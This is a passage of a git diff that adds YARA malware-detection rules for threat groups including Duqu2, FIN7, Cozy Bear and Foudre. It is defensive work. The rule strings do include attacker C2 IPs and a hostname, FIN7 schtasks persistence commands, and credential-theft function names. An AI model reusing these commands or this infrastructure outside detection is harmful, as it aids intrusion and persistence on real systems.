hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
|
||||
hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
|
||||
hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
|
||||
hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
|
||||
strings:
|
||||
$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
|
||||
$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 9000KB and all of them
|
||||
}
|
||||
|
||||
rule Dubnium_Sample_SSHOpenSSL {
|
||||
meta:
|
||||
description = "Detects sample mentioned in the Dubnium Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/AW9Cuu"
|
||||
date = "2016-06-10"
|
||||
hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
|
||||
hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
|
||||
hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
|
||||
hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
|
||||
hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
|
||||
hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
|
||||
strings:
|
||||
$s1 = "sshkeypairgen.exe" fullword wide
|
||||
$s2 = "OpenSSL: FATAL" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 9000KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-07-02
|
||||
Identifier: Duqu2
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Duqu2_Sample1 {
|
||||
meta:
|
||||
description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
|
||||
date = "2016-07-02"
|
||||
score = 80
|
||||
hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
|
||||
hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
|
||||
hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
|
||||
hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
|
||||
strings:
|
||||
$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
|
||||
$s2 = "MSI.dll" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 40KB and $x1 ) or ( all of them )
|
||||
}
|
||||
|
||||
rule Duqu2_Sample2 {
|
||||
meta:
|
||||
description = "Detects Duqu2 Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
|
||||
date = "2016-07-02"
|
||||
score = 80
|
||||
hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
|
||||
hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
|
||||
hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
|
||||
hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
|
||||
hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
|
||||
hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
|
||||
strings:
|
||||
$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
|
||||
$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 50KB and all of ($s*)
|
||||
}
|
||||
|
||||
rule Duqu2_Sample3 {
|
||||
meta:
|
||||
description = "Detects Duqu2 Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
|
||||
date = "2016-07-02"
|
||||
score = 80
|
||||
hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
|
||||
strings:
|
||||
$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 50KB and $s1 )
|
||||
}
|
||||
|
||||
rule Duqu2_Sample4 {
|
||||
meta:
|
||||
description = "Detects Duqu2 Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
|
||||
date = "2016-07-02"
|
||||
score = 80
|
||||
hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
|
||||
strings:
|
||||
$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
|
||||
$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
|
||||
$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
|
||||
$s4 = "ProcessUserAccounts" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) ) or ( all of them )
|
||||
}
|
||||
rule Duqu2_UAs {
|
||||
meta:
|
||||
description = "Detects Duqu2 Executable based on the specific UAs in the file"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
|
||||
date = "2016-07-02"
|
||||
score = 80
|
||||
hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
|
||||
hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
|
||||
strings:
|
||||
$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
|
||||
$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
|
||||
$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
|
||||
$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 800KB and all of them )
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-01-02
|
||||
Identifier: Emissary Malware
|
||||
*/
|
||||
|
||||
rule Emissary_APT_Malware_1 {
|
||||
meta:
|
||||
description = "Detect Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/V0epcf"
|
||||
date = "2016-01-02"
|
||||
score = 75
|
||||
hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
|
||||
hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
|
||||
hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
|
||||
hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
|
||||
hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
|
||||
hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
|
||||
hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
|
||||
hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
|
||||
hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
|
||||
hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
|
||||
hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
|
||||
hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
|
||||
hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
|
||||
strings:
|
||||
$s1 = "cmd.exe /c %s > %s" fullword ascii
|
||||
$s2 = "execute cmd timeout." fullword ascii
|
||||
$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
|
||||
$s4 = "DownloadFile - exception:%s." fullword ascii
|
||||
$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
|
||||
$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
|
||||
$s7 = "WinDLL.dll" fullword wide
|
||||
$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
|
||||
$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
|
||||
$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 250KB and 3 of them
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,57 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-06-04
|
||||
Identifier: FireEye EternalBlue - Non-Wannacry Attacks
|
||||
Reference: https://goo.gl/OOB3mH
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Backdoor_Redosdru_Jun17 {
|
||||
meta:
|
||||
description = "Detects malware Redosdru - file systemHome.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/OOB3mH"
|
||||
date = "2017-06-04"
|
||||
hash1 = "4f49e17b457ef202ab0be905691ef2b2d2b0a086a7caddd1e70dd45e5ed3b309"
|
||||
strings:
|
||||
$x1 = "%s\\%d.gho" fullword ascii
|
||||
$x2 = "%s\\nt%s.dll" fullword ascii
|
||||
$x3 = "baijinUPdate" fullword ascii
|
||||
|
||||
$s1 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
|
||||
$s2 = "serviceone" fullword ascii
|
||||
$s3 = " #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #p #f #" fullword ascii
|
||||
$s4 = "servicetwo" fullword ascii
|
||||
$s5 = "UpdateCrc" fullword ascii
|
||||
$s6 = " #[ #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #x #" fullword ascii
|
||||
$s7 = "nwsaPAgEnT" fullword ascii
|
||||
$s8 = "%-24s %-15s 0x%x(%d) " fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) or 4 of them )
|
||||
}
|
||||
|
||||
rule Backdoor_Nitol_Jun17 {
|
||||
meta:
|
||||
description = "Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/OOB3mH"
|
||||
date = "2017-06-04"
|
||||
hash1 = "cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946"
|
||||
strings:
|
||||
$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
|
||||
$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
|
||||
$x3 = "TCPConnectFloodThread.target = %s" fullword ascii
|
||||
|
||||
$s1 = "\\Program Files\\Internet Explorer\\iexplore.exe" fullword ascii
|
||||
$s2 = "%c%c%c%c%c%c.exe" fullword ascii
|
||||
$s3 = "GET %s%s HTTP/1.1" fullword ascii
|
||||
$s4 = "CCAttack.target = %s" fullword ascii
|
||||
$s5 = "Accept-Language: zh-cn" fullword ascii
|
||||
$s6 = "jdfwkey" fullword ascii
|
||||
$s7 = "hackqz.f3322.org:8880" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 5 of ($s*) ) ) or ( all of them )
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-01-25
|
||||
Identifier: FakeM
|
||||
*/
|
||||
|
||||
rule FakeM_Generic {
|
||||
meta:
|
||||
description = "Detects FakeM malware samples"
|
||||
author = "Florian Roth"
|
||||
reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
|
||||
date = "2016-01-25"
|
||||
score = 85
|
||||
hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
|
||||
hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
|
||||
hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
|
||||
hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
|
||||
hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
|
||||
hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
|
||||
hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
|
||||
hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
|
||||
hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
|
||||
hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
|
||||
hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
|
||||
strings:
|
||||
$a1 = "\\system32\\kernel32.dll" fullword ascii
|
||||
$a2 = "\\boot.lnk" fullword ascii
|
||||
$a3 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 16 times */
|
||||
|
||||
$b1 = "Wizard.EXE" fullword wide
|
||||
$b2 = "CommandLineA" fullword ascii
|
||||
|
||||
$c1 = "\\system32\\kernel32.dll" fullword ascii
|
||||
$c2 = "\\aapz.tmp" fullword ascii
|
||||
|
||||
$e1 = "C:\\Documents and Settings\\A\\" fullword ascii
|
||||
$e2 = "\\svchost.exe" fullword ascii
|
||||
$e3 = "\\Perform\\Release\\Perform.pdb" fullword ascii
|
||||
|
||||
$f1 = "Browser.EXE" fullword wide
|
||||
$f2 = "\\browser.exe" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and
|
||||
( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*) )
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-06-14
|
||||
Identifier: Fancy Bear and Cozy Bear Report - CrowdStrike
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule COZY_FANCY_BEAR_Hunt {
|
||||
meta:
|
||||
description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
|
||||
date = "2016-06-14"
|
||||
strings:
|
||||
$s1 = "185.100.84.134" ascii wide fullword
|
||||
$s2 = "58.49.58.58" ascii wide fullword
|
||||
$s3 = "218.1.98.203" ascii wide fullword
|
||||
$s4 = "187.33.33.8" ascii wide fullword
|
||||
$s5 = "185.86.148.227" ascii wide fullword
|
||||
$s6 = "45.32.129.185" ascii wide fullword
|
||||
$s7 = "23.227.196.217" ascii wide fullword
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and 1 of them
|
||||
}
|
||||
|
||||
rule COZY_FANCY_BEAR_pagemgr_Hunt {
|
||||
meta:
|
||||
description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
|
||||
date = "2016-06-14"
|
||||
strings:
|
||||
$s1 = "pagemgr.exe" wide fullword
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and 1 of them
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
|
||||
rule Fidelis_Advisory_Purchase_Order_pps {
|
||||
meta:
|
||||
description = "Detects a string found in a malicious document named Purchase_Order.pps"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/ZjJyti"
|
||||
date = "2015-06-09"
|
||||
strings:
|
||||
$s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Fidelis_Advisory_cedt370 {
|
||||
meta:
|
||||
description = "Detects a string found in memory of malware cedt370r(3).exe"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/ZjJyti"
|
||||
date = "2015-06-09"
|
||||
strings:
|
||||
$s0 = "PO.exe" ascii fullword
|
||||
$s1 = "Important.exe" ascii fullword
|
||||
$s2 = "&username=" ascii fullword
|
||||
$s3 = "Browsers.txt" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-08-04
|
||||
Identifier: FIN7
|
||||
Reference: https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FIN7_Dropper_Aug17 {
|
||||
meta:
|
||||
description = "Detects Word Dropper from Proofpoint FIN7 Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
|
||||
date = "2017-08-04"
|
||||
hash1 = "c91642c0a5a8781fff9fd400bff85b6715c96d8e17e2d2390c1771c683c7ead9"
|
||||
hash2 = "cf86c7a92451dca1ebb76ebd3e469f3fa0d9b376487ee6d07ae57ab1b65a86f8"
|
||||
strings:
|
||||
$x1 = "tpircsj:e/ b// exe.tpircsw\" rt/" fullword ascii
|
||||
|
||||
$s1 = "Scripting.FileSystemObject$" fullword ascii
|
||||
$s2 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
|
||||
$s3 = "Project.ThisDocument.AutoOpen" fullword wide
|
||||
$s4 = "\\system3" fullword ascii
|
||||
$s5 = "ShellV" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0xcfd0 and filesize < 700KB and 1 of ($x*) or all of ($s*) )
|
||||
}
|
||||
|
||||
rule FIN7_Backdoor_Aug17 {
|
||||
meta:
|
||||
description = "Detects Word Dropper from Proofpoint FIN7 Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
|
||||
date = "2017-08-04"
|
||||
strings:
|
||||
$x1 = "wscript.exe //b /e:jscript C:\\Users\\" ascii
|
||||
$x2 = "wscript.exe /b /e:jscript C:\\Users\\" ascii
|
||||
$x3 = "schtasks /Create /f /tn \"GoogleUpdateTaskMachineSystem\" /tr \"wscript.exe" ascii nocase
|
||||
$x4 = "schtasks /Delete /F /TN \"\"GoogleUpdateTaskMachineCore" ascii nocase
|
||||
$x5 = "schtasks /Delete /F /TN \"GoogleUpdateTaskMachineCore" ascii nocase
|
||||
$x6 = "wscript.exe //b /e:jscript %TMP%\\debug.txt" ascii
|
||||
|
||||
$s1 = "/?page=wait" fullword ascii
|
||||
|
||||
$a1 = "autoit3.exe" fullword ascii
|
||||
$a2 = "dumpcap.exe" fullword ascii
|
||||
$a3 = "tshark.exe" fullword ascii
|
||||
$a4 = "prl_cc.exe" fullword ascii
|
||||
|
||||
$v1 = "vmware" fullword ascii
|
||||
$v2 = "PCI\\\\VEN_80EE&DEV_CAFE" fullword ascii
|
||||
$v3 = "VMWVMCIHOSTDEV" fullword ascii
|
||||
|
||||
$c1 = "apowershell" fullword ascii
|
||||
$c2 = "wpowershell" fullword ascii
|
||||
$c3 = "get_passwords" fullword ascii
|
||||
$c4 = "kill_process" fullword ascii
|
||||
$c5 = "get_screen" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 5000KB and
|
||||
(
|
||||
1 of ($x*) or
|
||||
all of ($a*) or
|
||||
all of ($v*) or
|
||||
3 of ($c*)
|
||||
)
|
||||
) or 5 of them
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-08-01
|
||||
Identifier: Foudre
|
||||
Reference: https://goo.gl/Nbqbt6
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule Foudre_Backdoor_1 {
|
||||
meta:
|
||||
description = "Detects Foudre Backdoor"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Nbqbt6"
|
||||
date = "2017-08-01"
|
||||
hash1 = "7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74"
|
||||
hash2 = "7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc"
|
||||
strings:
|
||||
$s1 = "initialization failed: Reinstall the program" fullword wide
|
||||
$s2 = "SnailDriver V1" fullword wide
|
||||
$s3 = "lp.ini" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and 2 of them )
|
||||
}
|
||||
|
||||
rule Foudre_Backdoor_Dropper_1 {
|
||||
meta:
|
||||
description = "Detects Foudre Backdoor"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Nbqbt6"
|
||||
date = "2017-08-01"
|
||||
hash1 = "6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac"
|
||||
hash2 = "da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5"
|
||||
strings:
|
||||
$x1 = "536F594A96C5496CB3949A4DA4775B576E049C57696E646F77735C43757272656E7456657273696F6E5C5C52756E" fullword wide
|
||||
$x2 = "2220263024C380B3278695851482EC32" fullword wide
|
||||
|
||||
$s1 = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\\\Startup\\" fullword wide
|
||||
$s2 = "C:\\Documents and Settings\\All Users\\" fullword wide
|
||||
$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\\\Shell Folders" fullword wide
|
||||
$s4 = "ShellExecuteW" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 4 of them ) )
|
||||
}
|
||||
|
||||
rule Foudre_Backdoor_Component_1 {
|
||||
meta:
|
||||
description = "Detects Foudre Backdoor"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Nbqbt6"
|
||||
date = "2017-08-01"
|
||||
hash1 = "7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4"
|
||||
hash2 = "db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109"
|
||||
strings:
|
||||
/* $s1 = "Project1.dll" fullword ascii */
|
||||
/* Better: Project1.dll\x00D1 */
|
||||
$s1 = { 50 72 6F 6A 65 63 74 31 2E 64 6C 6C 00 44 31 }
|
||||
$s2 = "winmgmts:\\\\localhost\\root\\SecurityCenter2" fullword wide
|
||||
$s3 = "C:\\Documents and Settings\\All Users\\" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and
|
||||
( 3 of them ) or
|
||||
( 2 of them and pe.exports("D1") )
|
||||
)
|
||||
}
|
||||
|
||||
rule Foudre_Backdoor_SFX {
|
||||
meta:
|
||||
description = "Detects Foudre Backdoor SFX"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/Nbqbt6"
|
||||
date = "2017-08-01"
|
||||
hash1 = "2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a"
|
||||
hash2 = "4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472"
|
||||
strings:
|
||||
$s1 = "main.exe" fullword ascii
|
||||
$s2 = "pub.key" fullword ascii
|
||||
$s3 = "WinRAR self-extracting archive" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-04-18
|
||||
Identifier: FourElementSword
|
||||
Reference: https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule FourElementSword_Config_File {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
|
||||
strings:
|
||||
$s0 = "01,,hccutils.dll,2" fullword ascii
|
||||
$s1 = "RegisterDlls=OurDll" fullword ascii
|
||||
$s2 = "[OurDll]" fullword ascii
|
||||
$s3 = "[DefaultInstall]" fullword ascii /* Goodware String - occured 16 times */
|
||||
$s4 = "Signature=\"$Windows NT$\"" fullword ascii /* Goodware String - occured 26 times */
|
||||
condition:
|
||||
4 of them
|
||||
}
|
||||
|
||||
rule FourElementSword_T9000 {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
|
||||
strings:
|
||||
$x1 = "D:\\WORK\\T9000\\" ascii
|
||||
$x2 = "%s\\temp\\HHHH.dat" fullword wide
|
||||
|
||||
$s1 = "Elevate.dll" fullword wide
|
||||
$s2 = "ResN32.dll" fullword wide
|
||||
$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
|
||||
$s4 = "igfxtray.exe" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) ) or ( all of them )
|
||||
}
|
||||
|
||||
rule FourElementSword_32DLL {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
|
||||
strings:
|
||||
$x1 = "%temp%\\tmp092.tmp" fullword ascii
|
||||
|
||||
$s1 = "\\System32\\ctfmon.exe" fullword ascii
|
||||
$s2 = "%SystemRoot%\\System32\\" fullword ascii
|
||||
$s3 = "32.dll" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 660KB and $x1 ) or ( all of them )
|
||||
}
|
||||
|
||||
rule FourElementSword_Keyainst_EXE {
|
||||
meta:
|
||||
description = "Detects FourElementSword Malware - file cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
|
||||
date = "2016-04-18"
|
||||
hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
|
||||
strings:
|
||||
$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
|
||||
|
||||
$s1 = "ShellExecuteA" fullword ascii /* Goodware String - occured 266 times */
|
||||
$s2 = "GetStartupInfoA" fullword ascii /* Goodware String - occured 2573 times */
|
